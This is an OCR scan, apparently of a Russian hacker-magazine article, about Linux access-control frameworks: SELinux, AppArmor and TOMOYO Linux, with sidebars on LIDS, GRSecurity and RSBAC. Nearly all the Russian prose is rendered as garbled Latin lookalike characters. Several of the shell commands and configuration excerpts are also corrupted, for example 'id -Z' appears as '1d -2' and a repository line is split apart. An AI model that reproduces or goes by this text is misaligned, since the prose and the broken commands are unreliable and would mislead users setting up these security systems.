BaTbCs Pa3HbIX MPUHLMMOB: O4eHb CTPOrMe NpaBuna no tmny
«YTO He pa3peLUeHo 9BHO — 3ampeLleH0» N «MUHUMAsbHO
HeobxofuMble nprBunerny». Hanprmep, MoXHO HacTpOUTb
cucTemy Tak, yto Beb-cepsep byfeT ciylwaTh coearHeHUs Ha
CTPOro onpefeseHHOM NMopTY, CMOXeT YnTaTb Gaiiibl TONbKO
BYyKka3aHHOM KaTasiore 1 Tak ganee. To ecTb onucaTtb nosefe-
HWe CUCTEMbI B € HOPMasibHOM COCTOSIHUM, CO3AaB XKECTKMI
Kapkac, 3a KoTopblii Heslb3s byfeT BbICKOUYMTb. 3T0 No3BoNseT
BbIMOJIHATH MPOrpaMMbl € paBaMm 06bIYHOr0 Nonb30BaTeNS,

a [LoCTyN K HeobX0AMMbBIM pecypcaM yKa3blBaTb Mpy MOMOLLM
nonutuk. B anctpubytrsax Linux ncnonb3sytoTcs asa pelleHns:
SELinux B RedHat u knoHax, a Takke AppArmor 8 Ubuntu.

B anpe Bepcnmn 2.6.30 noasuncs Kog eLLle 04HOro NpoekTa —
TOMOQYO Linux (tomoyo.sf.jp), koTopoMy npopoyat ceeTioe
ByaylLee, HO MOKa MO YMONYAHWIO OH HUT e He UCMOosb3yeTcs.
[laBait paccMoTpKM 1x 0COBEHHOCTU, @ TaK>Ke NIOChI Y MUHYCBI.

CBEPX3ALLMLLEHHbIU SELINUX

I'IpoeKTSELinux[Security Enhanced Linux, selinuxproject.
org) sapoanncs s Hegpax U.S. NSA (National Security Agency),
XMypble Hepa3roBopUMBbIe AsiflbKW KOTOPOro MOCTaBWAM CBOEN
Lenbio JoNuanTb Linux Takum 06pa3oMm, 4Tobbl ero MoXHO Bbiso
CMOKOMHO MCMOb30BaTh He rae-HUbyab, @ B NpaBUTENbCTBEH-
HblX cucTemax. AHoHcupoBaH obuectaeHHocTn B 2000 rogy,
3aTeM pa3paboTumnKM CpaBeAvBO PELLNN: 3a4EM YTO-TO
LlenaTb CaMMM, eCli B UHTepHeTe eCTb MHOT0 Xenatouivx? B
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pe3ynbTaTe CerofHs NpoekT pa3susaeTcs nog anuexsvein GNU
GPL nyxe BKkto4eH B cocTaB fApa BETKMN 2.6.X, Takxe BbINof-
HeHa aganTauus gna FreeBSD v OpenSolaris.

Peanuzauyms MAC TpebyeT 4eTkoro onucaHuns npaBui, 4to
MOXeT NpKBeCTU K 06pa3oBaHmio H0bLLIONO KX KONNYECTBa.
MoaTomy B SELinux ncnonb3oBaHa KOHLENUMS POSib-0CHOBaH-
Horo KoHTpons focTyna Role-Based Access Control (RBAC), B
KOTOpOVI ONpefensioTcs posv v JOCTyn nosb3oBaTtenein. Mexa-
Hu3M 3awnThl B SELinux HocuT HasBaHue Type Enforcement
(TE) v nossonaeT 3akpenuTh 3a Kax/bIM NPOLLECCOM 1 daiinom,
KoTOpble He0bX04MO KOHTPONMPOBATb, Hekyto MeTKy. Ecnn
npouecc, 3anyLeHHbl 0T IMEHW aAMUHMCTPATOPA, CKOM-
NpOMeTVpoBaH, TO yLLLepb, KOTOPbIN MOXET bbITb MPUYMHEH
cucTEME, OrpaHUYeH TONIbKO TEM, K YEMY OH MOXeT obpallatses,
COrNacysiChb C yCTaHOBIEHHbIMI /151 HEro Npasunamu (a oHm
onuvcbIBaloT NoBefeHue o4eHb ToHko). Takxe B SELinux pea-
NM30BaHa MHOTOYpOBHeBas crcTeMa obecneveHys besonac-
Hoctn (MLS, Multi-Level Security model], Ho ee 3apeicTayioT
TONbKO B 0CODbIX CAyYasx, HanpuMep, B NpaBUTENbCTBEHHbIX
MHOrOM0b30BaTENbCKMX CUCTEMAX, TPEBYIOLLINX Ype3BbIYaliHo
BbICOKOT0 YPOBHS 3alwuThl. Korga B npouecce paboTsl cucTeMb
cybbeKT NbiTaeTcs 0kasaTb Hekoe fencTaue Ha 0bbekT, SELinux
NPVHVUMaET peLleHre 0 A0NYCTVMOCTU yKa3aHHOro AelCT-
BUS, OCHOBBIBASACh Ha KOHTEKCTax be3onacHocTn 0bbekTa 1
cybbekTa. CybbekT — 370 MpoLecchl, BbINONHAEMbIE OT UMEHM
3anycTusLero ux nonb3osatens. 06bekT — anemeHTs Gan-
710BOV cucTeMbl (balinbl, KaTanoru, CCbinku, CokeTbl 1 np.) nam
Ipyrue NpoLeccsl, Haf KOTOpPbIMU BbINONHAOTCS AeicTeus. M
Tenepb camoe BaxHoe, 4To oTanyaeT SELinux ot gpyrux pelue-
HWIA, ONCaHHbIX lanee — BCe BaXHbIe 3alUWTHble aTprbyTh
CoXpaHsHoTCA B KOHTekcTax besonacHocTu. [MoaTomy dpaiinosas
cucTeMa Lo1KHa YMeTb XpaHUTb JOMONHUTENbHbIE aTPUbyYThI, 1
camu aTpubyTbl HY>KHO Kak-To 3afaTb. COBpeMeHHbIe sifipa Bce
obecneunBatoT, HO NpY caMocTosATeIbHO Nepecbopke sapa
He 3abynb akTBMpoOBaTL NapameTp «Extended attributes» B
BbIDpaHHO dalnoBoii cucteme.

ATpubyTbl ycTaHABANBAIOTCS NPV UHULMANM3ALUM CUCTEMBI.
OTctofia fienaeM BbiBOJ, YTO 0DBbEKT y>Ke L0/IKEeH CyLL,eCcTBO-
BaTb Ha MOMEHT yCTaHOBKM aTpnbyTos. Cam aTpubyT BKItoUaeT
naeHTMdUKaTop BnagenbLa, ponb 1 tnn obbekta. Mpuuem
naeHTndukatop SELinux (cozpaetca komaHpol semanage),
XoTs1 M MoxeT cosnagaTs B Homepe ¢ UID nonb3osatens Linux
(uid), Ho 3To aBe pasHbie Belw. He 3abbiBaem ele 06 0aHOM
BaxkHOM oTamymmn — SELinux onepupyeT ponsiMu, noatomy
HEeCKOJIbKO y4eTHbIX 3anunceit Linux MoryT uMeTs 0fHY 1 Ty e
yueTHyio 3anuce SELinux. M rnaBHoe — BbINoNHeHWE KOMaHLb

> links
e Cant npoekta SELI-

nux — selinuxproject.
org

o CalT npoekTa
TOMOYO Linux —

tomoyo.sf.jp

[INFo

nfo

Kaxpoe npunoxeHue
LOMKHO MMeTb 4OCTynN
TONbKO K TeM dpaitnam
¥ KaTasoram, KoTopble
nencTBUTeNbHO
HeobxoauMbl Ang ero
paboTbl. M He bonee
Toro.

(w)
E
o

> dvd

Ha npunaraemom

K XypHany fucke Thl
Halifelb BUAEOPOUK
K 3TOV CTaTbe
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MpoekTbl LIDS, GRSecurity n RSBAC

Kpome npoekToB, onmncaHHbIX B CTaTbe, B HACTOsLLLEe BPEMS pa3By-
BaloTCs U Apyrie, NO3BOASIOLLME NOBLICUTbL 3aLLmMTy Linux-cructem

— LIDS (Linux Intrusion Detection System, Lids.org], GRSecurity
(grsecurity.org) n RSBAC (Rule Set Based Access Control, www.rsbac.
org). KpaTko o Hux.

MpoekT LIDS peanvayer MAC, afiMMH MOXeT YeTKo yka3aTb paspelle-
HWa A4ns Gaiinos v katanoros. MoMumMo atoro mexannamsl TPE (Trusted
Path Execution) u TDE (Trusted Domain Enforcement) nossonsior
ybeauTbes, 4To NporpaMma paboTaeT Tak, kak npefHasHayero. Cant
npoekTa HekoTopoe BpeMs Dbl 3abpoLLEeH, XOTs UHCTPYMEHTbI pa3Bu-

BatoTCs.
YnpaBnexue NpoU3BOANTCS NPU MOMOLLM YTUAWT 1 4EM-TO HANOMU-
HaeT HacTpoViky Npasun daiiepa.

# lidsconf -A -o /sbin -j READONLY

GRSecurity — pa3paboTka, 0xBaTblBatoLLasi HECKOJIbKO TEXHOJ0-
ruitykpennerns 6esonacHoct — MAC/ACL, ynyyieHHsif chroot,
paHgomusaums TCPISN v PID, ponesas cucteMa KoHTpons focTyna
RBAC, dyHkumM ayauTa, 3aLiMTa aApecHoro NpocTpaHcTBa 1 cTeka
PaX (mocTyneH v oTaenbHo). BonbLMHCTBO NapaMeTpos yKasbisaeTcs
Ha sTane cbopku aapa, 3aTeM Npu NOMOLLM yTUAKTLI gradm HacTpau-
BatoTca ACL.

MpoekT RSBAC, peanvayioLinin MaHLATHbIN 1 PONIEBOI MEXaHW3MbI
noctyna, yxe B 2000 rogy BOBCIO MCM0Ob30BaNCH B 3aLLMLLEHHbIX JUC-
TpubyTtneax. o cyTu, ato cpesa, no3BonsLLas Co34aTh pa3nnyHble
Mogenu foctyna. Viges ocHoBaHa Ha nybnukauuun Maplana Abpamca
nNaNapyna «06obuieHHas cpepa ang ynpasnerus goctynom» (GFAC,
Generalized Framework for Access Control). Kpome root 8 OC nosis-
nsieTcs yy4eTka agMuUHMUCTpaTopa be30nacHoCTy, KOTOpbI U ynpasnseT
[0CTYNOM K HbOopMaLuu.

PeannsoBaHo MHOTO MHTepeCHbIX GYHKLMIA: OTKAoYeHMe Linux
DAC, cokpbiTue npoueccos, JAIL, nogaepxka PaX, aHTuBupycHbIi
nHTepdelic Dazuko, koHTponb pecypcoB Linux 1 MHOToe fpyroe.
Hanpumep, MoxHo opraHusoBaTb 4OCTyN K Galiny B onpefeneH-

Hble Yachbl. -

su He MeHsieT ugeHTndumkatopa SELinux. To ecTb root 3neck He BceBnacTteH.
[MpoBepuTh 370 Nerko:

S id -z

user_u:user_t:unconfined_t
Mony4aem nprBmuneryun cynepnonb3oBaTens v NpoBepseM CHOBa:
$ su
#1d -2
user_u:user_t:unconfined_t

Ecnv 3aintv cpasy nog pytom, To posib apyras:

#1id -2

root:system_r:unconfined_t:SystemLow-SystemHigh
13MeHUTb posib MOXHO Npu oMol komaHAabl newrole. Mpu ucnonb3osa-
Hum SELINUX WwWraTHble KoMaH4bl BBIBOAAT M KOHTEKCT. YTobbl npocMoTpeTh

KOHTEKCT paiinos 1 npoleccos, Habupaem:

# 1s -1 —context /
# ps -ax -Z

KpOMe TOrO, KOHTEKCT MOXHO CHUTATb NPAMO MB/DFOC:

» 090

[ Than Sy
| ®ahn Mpasea Bun MypHan 3aknages HacTpohka Cnpaska
-5 sudo cat fsys/kernel/security/apparmor/profiles &

fusr/sbin/tcpdump (enforce)

Jusr/sbin/mysqld-akonadi (enforce)

fusr/sbin/mysqld (enforce)

fusr/sbinfcupsd (enforce)
fusr/Llib/cups/backend/cups-pdf (enforce)

| fusr/Llib/connman/scripts/dhclient-script (enforce)

| fusr/lib/NetworkManager/nm-dhcp-client.action (enforce)
!;sbin!dh:llenﬂ (enforce)

| =% sudo cat /sys/kernel/security/apparmor/features
|file=3.‘.|. capability=2.8 network=1.8 change_hat=1.5 change_profile=1.1 aanamespaces=1.1 rli
=& .

CMOTpUM aKTUBHbIE NPpOodU

auunapameTpbl AppArmor

# ps aux | grep syslogd
root 2729 0.0 0.0 5908 624 ? Ss 07:30 0:00 syslogd -m 0

# cat /proc/2729/attr/current

system_u:system_r:syslogd_t:s0

MpenycmoTpera pabota SELinux B Tpex pexwnmax — disable (oTkniouen),
enforcing [MOAWTVKM BBINOMHAIOTCA, BCE, YTO HE COOTBETCTBYET — B10KM-
pyetcs), permissive (NOAWMTHKM aHANM3MPYIOTCA, BCE HAPYLLIEHWA 3aHOCATCA
B XypHas «avc: denied», Ho B10KMPOBKM He Mpou3BoAATCH). Y3HaTb TeKyLIM
PEXVM NMPOCTO, Kak, BNPOYeM, U HEKOTOPbIe ipyrie HacTpoikK, [OCTaTOYHO
npoYnTaTh aHHble 13 nceenodainnosoii cuctemsl /selinux:

S cat /selinux/enforce

Ecnunonyunm 1, 3Haumt, SELinux aktnBnpoBaH. HTobbl U3MEHNTb peximm
paboTbl Ha S1eTy, MpocTo 3anwucbiBaeM B 370T pann 0 wnnu 1:

# echo 0 > /selinux/enforce

TakKe MOXHO BOCMO/b30BaThesA yTunnTon «setenforce [ Enforcing |
Permissive | 110]».

CobCTBEHHO HACTPOIKM NPOM3BOAATCA B KOHPUTYpaALIMOHHBIX daiinax, pas-
MeLLeHHbIX B kaTanore /etc. B auctpubytvsax, basupylowmxcs Ha RedHat,
poctyneH rpadmyecknii SELinux Administration Tool (system-config-
selinux, naket policycoreutils-gui). Tak, pexxum paboTsl ycTaHasn1BeaeTca 8
daiine fetc/sysconfig/selinux (Ha camom aene aTo cebinka Ha /etc/selinux/
config). ByactHocTy, pexum pabotsl onpepenset napametp SELINUX:

SELINUX=enforcing|permissive|disabled
Mo ymonyaHwio B bonblimHcTBe AncTprnbyTneos SELINuxX 3alymilaeT He Bce
[leMOHbI, a ToslbKo cTporo onpegenerHsle: dhepd, httpd, named, nscd, ntpd,
portmap, snmpd, squid 1 syslogd. [Ina ocTanbHbIx NOAKUTYKA He onpeaene-
Ha — unconfined_t. YTo6bl 3aLWLMTHUTL BCIO CUCTEMY, HEOBXOAVMMO U3MEHUTH
3HayeHne SELINUXTYPE Ha strict:

SELINUXTYPE=targeted|strict

B katanore /etc/selinux/targeted/contexts Haxoaum onvcaHme KOHTEKCTOB.
Hanpumep, Anq root KOHTEKCT OMMCHIBaETCA Tak:

# cat /etc/selinux/targeted/contexts/users/root

system_r:unconfined_t:s0 system_r:unconfined_t:s0
system_r:initrc_t:s0 system_r:unconfined_t:s0
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- = &

@aian Mpaexa Bua MypHan 3aknagku HacTpodka Cnpaska
-§ cat fetc/apparmor.d/sbin.dhclient3 -
# vim:syntax=apparmor |
# Last Modified: Fri Jul 17 11:46:19 2809

# Author: Jamie Strandboge <jamie@canonical.com- |
#include <tunables/global>

#include <abstractions/base>

/sbin/dhclient3 {
#include <abstractions/nameservice>

capability net_bind_service, |

capability net_raw,
capability sys _module,
capability dac_override,

network packet, | |

network raw,

@{PROC}/*/net/ r, |
@{PROCY/*/net/** r,

/sbin/dhclient3 mr,
fetc/dhclient.conf r,

Jfetc/dhep3/f r,
fetc/dhep3/*= r,

fvar/lib/dhep3/dhclient® Lrw, -

- hach

Tunuybag nonutuka AppArmor

Céusae ecb co Skype

HaBepHoe, bosblie Bcero npeTeH3uii C ToUky 3peHmns besonacHocTny

nosb3oBaTens BbibiBaeT Skype. Kyaa Tonbko He neset sta npora (cM. cTa-
Tbto Kprca «Skype: ckpbitas yrpoza», www.xakep.ru/post/38543/default.

asp). OnucbiBaeMble TEXHONOMVM KaK Pa3 1 No3BoONsOT 0besonackTs cebs.
3aberas Bnepe, ckaxy, 4To N0b30BaTENN Y>Ke JaBHO HareHep1poBan
npopuAn Ans BONbLLMHCTBA MONYAAPHBIX PO, Y CKain 3[,eCh He UCKI0-
deHue. CMoTpu, HanpuMep, 30eck: Www.cynapses.org/tmp/apparmor/

usr.bin.skype. HekoTopble npodunv cobpaHbl B 0TAENbHOM NakeTe —
apparmor-profiles.

Ho npodwinb nerko co3pats v camomy. [1ns 3Toro B KoMnnekTe MAeTyTvNMTa
aa-genprof (unn npocto genprof). 3anyckaem ee c ykazaHuem ucnonHsie-
Moro daiina B ka4ecTse napameTpa:

$ sudo aa-genprof /usr/bin/skype
[lanee paboTaem kak 0bbI4HO: 3BOHIM, OTCHINIAEM COOBLLIEHWS, MPUHW-
MaeM daiinbl, fobasnsem vygansemydetku. [1o okoHYaHUK NpepbiBaem
paboty B kaTanore /etc/apparmor.d/usr.bin.skype. 3atem nepesanyckaem

AppArmor 1 npocTo akTuBKpyem npoduns B enforce-pexme:

$ sudo aa-enforce skype

Bce npobnembi 1 3aMeyaHus no pabote npoduneit AppArmor niim B norax. |

YT06bI NPOCMOTPETBL BCE KOHTEKCTHI, CBSi3aHHble ¢ httpd, BBEAM Takyto
KOMaHay:

# grep -iR httpd /etc/selinux/targeted/contexts

Tbl yBUAWLLb, YTO AJ1S pa3HbIX CUTyaLIMiA KOHTEKCT By et oTn4aThes.
Tenepb nony4nm cnucok Bcex napametpoB SELinux: «getsebool -a». Ing
YCTaHOBKM MCMoMb3yii KoMaHgy setsebool (c knoyom -P' ans coxpaHeHus
3HaYeHWa nocne nepesarpysku) nnm rpaduyeckyio ytunnTy system-config-
securitylevel.

BbiBog «sestatus -v» nokaxeT Bce Tekylue ycTaHoBKM. He 3abbiBaeM v o
XypHanax:

# dmesg | grep -i selinux
SELinux: Initializing.
SELinux: Starting in permissive mode

# grep -iR selinux /var/log/messages
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Bce BcnomoratensHble ytunmTel SELinux cobpaHbl B HECKOMbKMX Nake-
Tax: setools nnu policycoreutils, policycoreutils-newrole. [epBbiit, kak
NpaBuIo, y>Xe yCTaHOB/EH B CUCTEMe, 0CTabHbIX HeT. HanpuMep, newrole,
[1al0L1ast BO3MOXHOCTb M0/1b30BATEN0 CMEHWTb POSib, OCTYMHA UMEHHO B
policycoreutils. [Mocne yctaHoBKYM B c1cTeMe NPUCYTCTBYIOT TOSIbKO Habopbl
nonuTuK Ans targened, ocTanbHble Habopbl NONNTHK CKa4MBaloOTCH B
naketax selinux-policy*. Copubl NOAUTUK AN X CaMOCTOATENbHOM COOpKM
BbiHeceHbl B selinux-policy-devel.

Pasobpatbces B bonee uem 200 paiinax, MMeloLMX HECKOBKO ThiCAY CTPOK,
BPYKOMaLLHY 04eHb TPYAHO. ABTOMaTM3MPOBaTh 3Ty 3834y Np13BaH
nuToHoBbIN ckpunT audit2allow (B policycoreutils), oH reHepupyeT HoBble
NOSIMTUKN Ha OCHOBE aHanm3a xypHanos 1 bnokunposok SELInux.

APPARMOR

TexHonorus Application Armor n3HavansHo paspabotaHa Immunix Inc.
[Mocne Toro, kak copTBEpHbIN ruraHT Novell nprobpen 3Ty komnaHwio,

kop oTkpbian nog nuuersnein GNU GPL, a 3aTeM Bktoumam B cocTaB
openSUSE. [Mo3gHee AppArmor ctan LocTyneH v B Apyrux AucTpnbyTtreax.
Ho korpa komanga Immunix nokuryna Novell, nanbHelwee pa3sutue
npoekTa ocTaHoBMNoCk. M xoTs B ToM xe openSUSE nogaepxka AppArmor
Bbina coxpaHeHa, B AucTpubyTns unterpuposanv SELinux. B utore Havanu
pa3HOCUTLCS cyxu a-na «AppArmoris dead», 4Toy 0fiHVX BbI3BaNo
pafocTb, Tak Kak TeMepb BCE YCMINS MOXKHO BpOCHTb Ha pa3BKTUE OAHOM
CUCTeMbI 3aLLWTBI, Y BPYTUX KPUTUKY — OTCYTCTBUE KOHKYPEHLMM eLLie HUt

K 4eMy xopolueMy He nprBoAnIo. CerogHs anosoreToM 3Toii TeXHoN0rn
sensetcs Canonical, pa3paboTyunki KOTOPOro He CMOTPS HU Ha YTO MPOAOA-
atoT pa3suTre AppArmor. Tak, B nocnefHux Bepcusx LobaBneH MexaHn3m
K9LLIMPOBaHWS MPaBUII, YTO MO3BOAMA0 YCKOPUTL KX 3arpy3ky. [ns aTux xe
Liesnieit, M 4Tobbl 3aLLITHTL CETEBbIE CEPBHCHI Ha PaHHEM 3Tane 3arpyskiu,
YacTb npodbuneit sbiHecan B initramfs. M rnasHoe — 8 Ubuntu AppArmor
npukpytuam k LSM (Linux Security Modules), 3ageiictBosas security_path
BMecTo Vfs.

OcHoBHas nes AppArmor cocToMT B TOM, YTO CUCTeMa 3aLLUThl He JoSKHa
BbITb CNOXHOW U He fonkHa MeLwaTb. B otnnune ot SELinux, AppArmor He
MCMONb3yeT pacluMpPeHHble aTpMDYThI U He 3aBUCUT OT GaiiNoBOI CUCTEMBI.
[ocTtyn k pecypcam onpegensetcs Ha ocHose npoduneit (profiles), kotopebie
NpuBsi3aHbl K NyTh Gaiina unwv katanora, npuyeM caMmoro paiina MoxeT U He
BbITb Ha MOMEHT akTVBaLMn Nnpoduns. Mpodunb paszpabaTsiBaeTcq MHANBK-
LlyanbHO NoJ Kaxoe NpuaoxeHue. XoTs B 3TOM eCTb U HEA0CTaTOK: Npn
nepeHoce daiina B SELinux 3a H1M NOAHOCTbIO COXpaHaeTcsa KoHTeKCT beso-
nacHocTu, B AppArmor — HeT, HO 3TOro OT Hero 1 He TpeboBanu. XoTs, ecum
dbain uMeeT aBa UMeHN, 1 Npoduab BNOKMpPYET JOCTYN K OAHOMY U3 HUX,
eCTb BO3MOXHOCTb paboTaTh ¢ ApyrvM. 3To CiefyeT y4nThIBaTh. Takxe, ecu
cpeacTsamy SELinux MOXHO MpeaycMoTpeTb HECKOIbKO YPOBHEN AoCTyna K
06beKxTy N4 pa3Hbix cybbekTos, TO AppArmor aToro He yMeeT.

B HacTosuee Bpems cosfaHbl npodun na bonbluvHCTBa NONYNSPHbIX
CepBEPOB U NPUNOKEHWMIA, TO3TOMY HasM4Me akTUBHOrO AppArmor 0bbIYHO
He3aMeTHo, OH He co3piaeT npobnem. Kpome Toro, B KOMMekTe NocTaBKu
MayT ABa ckpunTta aa-genprof v aa-logprof, koTopbie nomoryT beicTpo co-
34aTb NpodUb 419 HOBOM NporpamMMbl. YnpasneHue AppArmor npon3so-
AVTCS NPU NOMOLLM INit-CKpUnTa, KOTOPbI 3anyckaeT MoAyNb 84pa, UHULMa-
An3npyeT npoduamn n MoHTUpYeT ncesaodaiinosyto cuctemy securityfs.

$ sudo /etc/init.d/apparmor start

HT06bI NPOCMOTPETL CMVCOK 3arpy>KeHHbIX NPoduen, [OCTaTOYHO CHUTAT
daiin /sys/kernel/security/apparmor/profiles (unw sanyctuts /etc/init.d/
apparmor status); 8 3aBucuMocTy oT BapuarTa auctpubytvsa Server/
Desktop konnuecTBo akTUBHbIX Npoduneit byget paznuuHo. Camu npodunn
xpaHsTes B paiinax (oTAenbHO s Kaxkaoro npuioxeHns) s katanore /etc/
apparmor.d 1 BHyTpu cofiep>aT onvcaHue KaTanoros 1 oTAeNbHbIX $palinos,
Cyka3aHveM npas gocTyna. Takxe yka3biBaeTcs paboTa B ceT 1 COBMeC-
TUMOCTb C AipyruMun Nnpodunamu. Ins ynpoLieHrs 3a,a4m Mcronb3yoTes
perynsipHole Bblpaxerus. [1o ymonyaHuio npodpunu AppArmor pabotatoT B
npuHyauTensHom enforce-pexume. Korfa cepeuc He MOXeT BbIATY 3a pam-
K1 yCTaHOBOK, BCe MOMbITKV BnoknpyloTes u pukcrpytotes B xypHase. [Mpu
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HeobXoAMMOCTM ero MOXKHO NepeBecTy B WaAsaLwmi pexum complain, korna
HapyLeHusa nuLb dukcmpytotes. [pudem, B otnuune ot SELinux, rae pexnm
0byyeHwns akTnBmpyeTcs rnobansHo, B AppArmor ero MoxHo BKIOYNTb

onsa otaensHoro npoduns. Nepesectv Npodub B WAASALLNIA PEXMM MOXHO
Tpems cnocobamu:

e ykasaTb B daiine npodpuns flags=(complain);

® 1ICMONb30BaTh KOMaHay complain HasBaHWe_nporpaMmsl (BepHYTb KOMaH-
non enforce);

* v rnobanbHo KoMaHpoi «echo 1> /sys/kernel/security/apparmor/
control/complain».

Aellie npodunm 0TKMOHAIOTCS Ha NIETY, NeperpyxatTcs, B 0bLeM, NonHas
csobosa pevictuin. CobcTBEHHO, NpocToTa U npuBnekaeT B AppArmor agmu-
HOB, pa3paboTUMKOB M NPOCTLIX MOMTb30BaTENE.

[lononHuTensHble NPOGUIN MOXKHO HalTV B pEN03UTOpUn AncTpubyTrBa
(apt-cache search apparmor), kpome Toro, ecTb oHNakiH-6aHk npodunen —

apparmor.opensuse.org.

Kcnosy, ana apep 2.4/2.6 cyuiectsosana paspabotka Trustees (trustees
sf.net), peanusyowas ACL a-na Novell Netware, kotopas 8 yno6Hol dpopme
pacnuceiBana AoCTyn K KaTanoram BroTh 10 yKa3aHus OTAEbHbIX FPynm 1
nonb3oBaTesielt 1 He 3aBrcena oT dpalnoBoit cuctemsl. K coxaneHuio, npoekT

3arnox, a a1o bbina bbl 30n0Tas cepeanta mexay SELinux n AppArmor.

TOMOYO LINUX

MpoexT TOMOYO Linux (tomoyo.sf.jp) HauaT 8 2003 rogy snoHcKoi koMna-
Huent NTT DATA CORPORATION kak nerkas peanusauna MAC gns Linux-
sapa. Yepes aBa roga nnueHsuio nameHnav Ha GNU GPL 1 Bbinoxunan ko
Ha SF.net. HekoTopoe BpeMs npoekT npefoCTaBAsaA NaTym 1 rotoBsle cbopkn
A4ep Lna pa3Hbix AncTpmbytreos. Ho HaunHas ¢ Bepcun aapa 2.6.30, kog,
TOMOYO Linux BKkJllo4eH B 0CHOBHYIO BETKY pa3paboTku, YTo yKe caMmo no
cebe — CobbiTne gns noboro nogobHoro npoekTa.

B HacTosiee Bpems cywiecTsyeT fge Bepcunt TOMOYO Linux. Mepsas Bep-
CYISt UCMONB3YET OpPUTKHabHbIE XYKW, OHa OCTYMNHA TOIbKO B BU/E NaTyel

Llabnonb noantuk TOMOYO Linux

@ailn Mpasea Bag Wypean Jasnagen Hacpoliss Crpamsa
initialize_domain /sbin/modprobe
file_pattern /proc/\S/attr/current
file_pattern /proc/\S/attr/exec
file_pattern fproc/\S/attr/fscreate
file pattern /proc/\S$/attr/keycreate
file_pattern /proc/\$/attr/prev
file_pattern /proc/\S§/attr/sockcreate
file_pattern /proc/\$/auxv
file_pattern /proc/\$/clear_refs

file pattern /proc/\S$/cmdline
file_pattern /proc/\$/coredump_filter
file_pattern /proc/\§fenviron
filo_pattern /proc/\§/Fdinfo/\s
file_pattern /proc/\§/io
file_pattern /proc/\S/latency
file_pattern /proc/\$/lisits
file_pattern /proc/\$/loginuid
file_pattern /proc/\$/maps
file_pattern /proc/\$/mem
file_pattern /proc/\$/mountinfo
file_pattern /proc/\S/mounts
file_pattern /proc/\$/mountstats
file_pattern /proc/\S/net/anycasté
file_pattern /proc/\S$/net/arp
file_pattern /proc/\S/net/dev
file_pattern /proc/\S$/net/dev_mcast
file_pattern /proc/\$/nat/dev_snepG/ethD
file_pattern /proc/\$/net/dev_snmpi/lo
file_pattern /proc/\$/net/if_ineté
file_pattern /proc/\§/net/igmp
file_pattern /proc/\$/net/igmpé

.. T €at x
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M MOXET UCMONb30BaThCA B aapax 2.4 1 2.6. BTopas (koTopan yxe B aape)
afantupoBaHa nof LSM, Ho no GyHKLMOHANbHBIM BO3MOXHOCTSIM YCTY-
naeT Bepcun 1.x: HET NOAAEPXKM ceTeBbIX GyHKUMIA, 0bpaboTku aTpnbyTos,
POSIX-Bo3MOXHOCTel [Ha caliTe npeacTaBieHa cpaBHuUTeNbHas Tabanual.
B HacTosiLee BpeMs cOOTBETCTBYOLLIME MaKeTbl IMETCS B PEMO3UTOPUAX
MHOTVX ANCTPUBYTUBOB, HO GaKTYeCky NOALEePXKKa 3asiBieHa NoKa ToNbKo
B Mandriva. K cnosy, B aToM guctpunbytunse npefnaraetcs v rpaduueckuii
nHTepderic Tomoyo GUI, no3BonstoLLmiA 3anycTuTb U HACTPOUTL MOAUTHKM
npunoxexuii. ocTynHocTb B peno3ntopusix nakeTos As 6onblLMHCTBA
LMCTPMDYTNBOB N03BOASIET OyKBaNbHO B CHUTaHHbIe MUHYTLI MepeBecTy OC
Ha HoBylo cucTeMy besonacHocTn. Hanpumep, Ubuntu 10.04:

$ sudo echo 'deb http://osdn.dl.sourceforge.jp/
tomoyo/47128/
$ sudo apt-get update

./"'" >> /etc/apt/sources.list
$ sudo apt-get install linux-ccs ccs-tools

Ecnnanpo cobrpaetcs camocTodTenbHo, akTvBMpyi napameTp «Enable
different security models» n «TOMOYO Linux Support» B cekuum Security
options.

Mpwu bernom B3rnane TOMOYO oueHb noxox Ha AppArmor. Obe crcTeMbl KOH-
TponupyioT nyTs [pathname based), a npaBuna nMeroT CXOAHbBIN CUHTAKCKC.
Ho ectb 1 otanuuma. Tak, 8 TOMOYO MoxHO yka3aTb noBefeHWe NporpamMmbl

B 3@BMCKMOCTM OT TOr0, Kak OHa 3anyuleHa. Hanpumep, obonoyka, 3anyueH-
Hasa Yepe3d SSH, MoxeT uMeTb bosbLe orpaHuyeHnit, Yem 3anyLeHHas ¢
510KasbHO crcTeMbl. [1peflycMoTpeHa NpoBepKa JONOAHUTENbHBIX MapaMeT-
OB, C KOTOPbLIMM BKJIlOYeHa NporpaMMa, a Takxe npusunernii (UID/GUD).
Mpunoxerus 8 Tepmutonornn TOMOYO HasbisatoTcs fomeHamm ([domains).
KoHdurypaumoHHbie dpaiinsl TOMOYO HaxoasTcs B kaTanore /etc/tomoyo,
nocsie 3anycka CUCTEMbI HACTPOIKM MMEIOT CBOe OTpaxkeHwe B /proc/tomoyo,
rfie X MOXHO pefakTnpoBaTb Ha eTy. [apameTpbl paboTel TOMOYO xpaHaT-
ca B/etc/tomoyo/profile.conf u gocTynHel B /proc/tomoyo/profile. MiMmerHo
3peckonpefenstortcs pexumel pabotsl TOMOYO — disable, permissive,
enforsing v learning (06yuasnce, cuctema cama ctpout npaswunal. Ects n
npyrvie dannbl:

» manager.conf [/proc/tomoyo/manager) — nporpamMmsl, KOTopbie MOTYT
M3MeHUTb NOANTKKY B /proc/tomoyo;

e exception_policy.conf [/proc/tomoyo/exception_policy) — ncknoueHmns
LJ19 NONNTUK lOMEHa;

edomain_policy.conf (/proc/tomoyo/domain_policy] — nonutnkm gomena;

e meminfo.conf (/proc/tomoyo/meminfo] — HacTpoiika ncnonb3oBaHKs
namsiTv 1 KBOT.

[Mocne yctaHoBKK NakeTa ccs-tools HeobxoAMMO NPOBECTU MHULMANM3ALMIO
TOMOYO, Buinonxwms ckpunt/usr/lib/ccs/tomoyo_init_police.sh, koTopsbiii 1
CO34acT HyXHble KoHurn. [lanee notpebyeTcs nepesarpyska cUCTEMBI.
3aTeM MOXHO 3anyckaTb peiakTop NoSUTHK:

# /usr/lib/ccs/editpolicy /etc/tomoyo/

Euwe ogHa HemanoBaxHas yepta — TOMOYO moxeT paboTtaTe napannensHo
c SELinux v AppArmor.ac
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YcKopseM 3anycK npunoxeHui B Linux

Linux cTaHoBUTCA BCe Tsxkenee nTaxenee. CeroaHa y>ke HMKOro He YAUBULLb

NPUIOXKEHNAMN, BPEMA 3allyCKa KOTOPbIX COCTaBNIAET HECKOJIbKO MUNHYT,

OKpy>XeHusiMu paboyero cTona, 3aHuMatoummm 900 Mb onepaTtnekn, u

